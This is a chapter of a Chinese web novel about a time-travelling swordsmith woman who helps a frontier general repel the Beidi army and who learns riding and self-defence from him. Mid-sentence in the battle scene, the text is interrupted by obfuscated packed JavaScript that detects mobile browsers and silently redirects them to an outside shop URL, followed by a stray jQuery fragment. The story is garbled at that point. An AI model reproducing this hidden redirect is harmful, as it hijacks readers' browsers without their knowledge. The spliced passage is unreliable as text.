第七章
谢泽川来到锻造班时,周听澜正教导名学生如何根据炉中火候锻出不同特性的钢。
周听澜眼瞥见谢泽川,知晓定是北狄那边有新状况,摆手示意稍等片刻。
她给学生演示完就让其自行练习,若是仍不知如何锻造则稍后来寻她。
“是北狄那边有什么动静吗?”周听澜擦手朝谢泽川走去。
谢泽川这时找她没道理啊,她自己盘算过,北狄按理说没这么快就打来。
视线扫退周围试探的目光,谢泽川道:“我们去隔间细说。”
进入隔间,周听澜急切问道:“究竟出了何事?”
要知晓谢泽川平日里除要紧事外,很少亲自来锻造班找她。
“无事,近期城外巡逻均没有异动。”
周听澜狐疑:“兵营军务不忙吗,你就这么来找我。”
无事来找她,大战就要来了,谢泽川应当军务繁忙才对啊?
“目前城中仓库锻出的兵器尚且充足,足以应付大战,你放心便好,然为防有变故突生,我会带锻造班学生在大战开始后将使用过的破损兵器回炉重锻。”
“这些我都知晓,今日来我是想说另一件事情。”
周听澜更加不解,难道他不是为兵器而来的吗,那是为什么事来找她?
谢泽川眼眸深邃地望着周听澜娇美的容颜:“大战开始之后,我作为主帅未必有时间顾全你,这段时间你随我学些防身之术如何?”
周姑娘如此娇弱,若是遇到北狄士兵,该如何保全。
周听澜怔愣住,他这是……
谢泽川似乎也意识到自己的提议多有唐突,他轻咳一声:“若你不愿……”
“好啊。”周听澜调笑道:“便是不知谢将军看我如此之重,愿意抽时间教我这些。”
谢泽川偏头,耳尖隐隐泛红:“你我合作,你已经替我解决了北疆兵器短缺困境,而你之事尚未开始,我自当护你周全。”
周听澜将谢泽川的行为尽数收入眼中,啧,没想到谢泽川还挺纯情的。
两人约定明日午后开始,谢泽川回兵营处理其余军务,而周听澜继续查看学生的锻刀状况。
翌日,谢泽川早早便在兵营门口等待周听澜,秦斯年看着如望妻石般的男人,不禁在旁翻起白眼。
周听澜准时来到兵营门口,见到谢泽川怔愣住。
她抬头看了眼天色,日头正盛,她没来晚啊,谢泽川怎么来得这么早?
“谢将军可等候多时?”
“并无,我也是刚来不久。”
秦斯年:“……”
那他在兵营门口这看了半个时辰的男人究竟是谁?
周听澜瞥向谢泽川身旁的高大黑色骏马,不知其意。
“我今日教你骑马。”说罢,谢泽川翻身上马,朝她伸出手。
周听澜心里犹豫,终是缓慢握住谢泽川朝她伸来的手。
顺着力道上马,周听澜险些没能坐稳,她惊呼一声:“好高!”
拉动缰绳,马蹄翻飞,两人朝城外而去。
温热的呼吸洒在周听澜耳侧,她感觉有点痒,身形微微轻颤。
“怎么了,不舒服吗?”察觉到周听澜的小动作,谢泽川附身问道。
他轻拉缰绳,试图让马的速度稍降下来。
“没。”周听澜偏头连忙回道。
她内心不断吐槽,此情此景,怎么那么像古早电视剧里男女主骑马约会的场景。
周听澜脑子里不断浮现出自己穿越前看到过的片段。
啪的一下拍在脑袋两侧,不能再想了,她是出来学骑马的,再者她也不是电视剧中的玛丽苏女主。
不要想了,要命啊!
虽临近冬末,北疆的冬末风中却仍带着些许寒意。
来到城外一处空地,谢泽川拉动缰绳示意马停下,周听澜不稳落入谢泽川怀里。
谢泽川单手掐住周听澜的腰,扶她坐稳。
掌心灼热温度透过布料传至周听澜全身,酥酥麻麻的。
周听澜身形僵硬,全部注意力转到握在自己腰间的大掌上。
他……
“坐稳。”谢泽川叮嘱道。
“什……什么?“周听澜方从失神状态里回神,没听到谢泽川说的话。
他无奈握起周听澜的手将其放在缰绳上:“骑马需集中注意力,莫要分神。”
谢泽川翻身下马,马儿脚步微抬,周听澜紧抓住缰绳意图平稳身形。
见她稳稳坐在马背之上,谢泽川走到马侧牵起牵绳,徐徐走着。
由最初的缓步行走到后来的策马飞驰,周听澜只学了一下午便已掌握。
她内心暗爽,虽然自己没有厨艺天赋,马术天赋似乎不错。
今日成功点亮技能点一项!
期间谢泽川始终伴其身侧,护住周听澜避免坠马受伤。
两人黄昏时共乘一骑回到兵营,黄昏之下,映照出两人的身影,逐渐拉长。
而在两人离开不久,几道身影自树后窜出朝北疆城方向望了望。
回到兵营,两人分开,谢泽川便一头扎进繁忙的军务之中。
往后几日,谢泽川教了周听澜些简易的防身术,花式不多却招招致命。
“周姑娘,你的腿要这样踢起来,像我这样才能正中对方要害。”
谢泽川在旁悉心教导,分步给周听澜演示,纠正她的错误动作。
周听澜学得很快,熟练之后便可灵活运用,然而令她面红耳赤的是谢泽川教导纠正动作时常与她身体有所解触。
作为现代社会阅俊男美女无数的周听澜,通过此次亲自教学,她更加清楚的认识到一点。
谢泽川放在现代,必定是极品优质男!
啊啊啊——她可真是个大黄丫头!
而与此同时,谢泽川每次教周听澜防身术时,秦斯年都站在旁边看得啧啧称奇。
近些时日,谢泽川对周听澜的关心已经刷新了秦斯年对他这位多年好友的认识。
昔日上京城贵女何曾有如今周姑娘的待遇,没得到谢泽川冷眼,慌忙逃离便已是不错。
他堪堪相信兵器厂管事与他所说之事,这两人绝配!
他思忖着是否要提醒一下谢泽川,闷葫芦陷入情海而不自知。
秦斯年内心苦恼,周听澜亦然。
她为啥觉得秦斯年瞧她的眼神不太对劲,怪怪的,然而她又不能直接问他:“你是不是瞧我不顺眼?”
真是憋死她了!
**
北疆城中,管事正紧急清点仓库里的刀具,周听澜带领锻造班其余学生加紧锻刀。
她手中拿着将士给她准备的馒头,直接咬上一口,道:“大伙儿都注意,如今将士们前线对抗北狄,我们作为兵器后备,也需要打起精神来。”
鼓励完学生,周听澜拿起锻造台上的水将馒头硬咽下去,拿起锤子开始锻刀。
豆大的汗珠自每个人头顶上滴落在地,锻造炉中炉火正盛,发出钢铁块与火相碰的噼啪声,嘈杂的锻造室内锤子敲击声此起彼伏响起。
一批又一批的刀具被锻造出来,放于锻造室门口木箱中,将士们将其抬去仓库储存好。
周听澜乘着擦汗的空挡,她面带忧虑地望向兵营方向,很快又低下头继续锻造自己手中长刀。
烧红的刀面触及冷水,冒出滋滋声响,水雾飘出,在锻造室上空凝结成水珠,滴在室内之人的身上。
渐渐的,周听澜已经分不清头上滴落的是汗还是水雾凝结成的水珠,然而即便如此周听澜也未曾放慢手中动作。
战争多数极其残酷,其背后尽是血与泪,准备愈充足,方能胜百场。
锻造室外,天空布满阴霾,没有生气似的,在昏暗的天色下,黑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228133|151298||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
压压的士兵越过大昭国边境。
独孤轩坐于马背之上,望着面前的北疆城门:“北疆城的将士们,给你们一天时间降服于北狄国,打开城门,绕你们一命。”
站在谢泽川身后的将士故作压低声音,又能让在场所有人听到:“也不知北狄国的人哪来的脸,竟想让我们降服于他们。”
“好,极好!”独孤轩当即号令北狄士兵攻打北疆城。
北狄士兵手持盾牌朝前迅速突袭,冲破空中飞来箭矢,后面的士兵架起云梯欲攀爬上去。
火油浇下,大火稍稍阻拦住北狄士兵的脚步,然而他们调整阵型,继续朝上。
与此同时,北疆城另两侧亦遭到呼延旭与呼延霖带领北狄士兵的攻打。
谢泽川同众将领在城墙后商议如何抵御北狄此番来势汹汹的攻势。
他指着城东与城西各一处城墙:“北狄的两位王子正从城东西两侧攻打,而主城门则是由独孤轩坐镇。”
“三处的战况皆甚是激烈,主城门我会亲自镇守调配,至于东西两侧则由徐程与秦斯年二人各领一处。”
“切记,今日之战我等尚且处于优势地位,北狄在外,我们在内。”
城墙之上,北狄士兵已然爬至大半,北疆将士见此拿起刀朝下狠狠砍去。
刀子砍到盾牌之时,划出刺耳响声,裂痕出现于盾牌中央,将士眼见可行,刀落得更加频繁。
众北狄士兵的手持盾牌因刀而裂开,因纷纷避开刀而从云梯上滚下。
独孤轩察觉不对。
“撤退!”
场景同样出现在城东西两侧,呼延旭与呼延霖面色铁青,本以为今日攻城必定顺遂,谁知竟冒出个如此的刀来。
初战告捷,谢泽川换下之前守城的将士,命其回去疗伤休息,徐程与秦斯年随之回来。
北狄撤退的始料未及,究其原因,似乎是因为周姑娘锻的刀?
秦斯年不停朝身旁将士吹捧周听澜锻的刀,言辞满满皆是钦佩之意。
谢泽川亦是惊愕,他先前也不知周听澜锻的刀能击裂北狄士兵的盾牌,只知刀所用锻造材料少且耐用,乃上等兵器。
收到战事胜利消息的周听澜也从锻造班赶来。
“你们这边没出事吧?”
“哪能有事。“秦斯年凑到周听澜面前道:“你锻出的可真是神了,我来北疆城打过大大小小的战役,头一回见到竟然有能将盾牌砍裂的刀。”
“周姑娘,你是没瞧见呼延旭他那张脸呦。”秦斯年还想同周听澜说自己刚才的所见所闻。
周听澜诧异,北狄的盾牌这么垃圾,刀都能砍裂,她以前跑古玩市场二手收来的都没有如此劣质。
北狄这盾牌质量像是某夕夕九块九包邮的残次品。
一场大战刚结束,城中诸多事务需要处理,周听澜让谢泽川派将士将今日破损刀具送至锻造班后便匆匆离开。
她得赶紧去收拾下大战之后的破损兵器,要是北狄将士卷土重来,若是兵器不足,那就糟糕了!
谢泽川见周听澜离去,招呼秦斯年和徐程道:“你们两个与我来营帐。”
进入营帐,谢泽川走到桌前,查看桌上的北疆城中守备布防图。
谢泽川的脸上愈发难看,他转身看向二人问:“你们二人乃我信任之人,是否察觉到近日城中将领存在异常举动?”
“泽川,何出此言?”秦斯年不解。
“你们过来看。”谢泽川指向布防图上今日北狄两位王子攻打之处。
两人瞬间了悟谢泽川所言之意,这两处乃城中守备稍薄弱的偏门。
谢泽川前日命两人暗中加强这两处偏门,以防北狄攻打,兵营多数将领尚不知此事。
然城外备乃兵营机密之事,为何北狄会知北疆薄弱之处?
原因只有一个,兵营里面出现了叛徒!
那个人究竟是谁?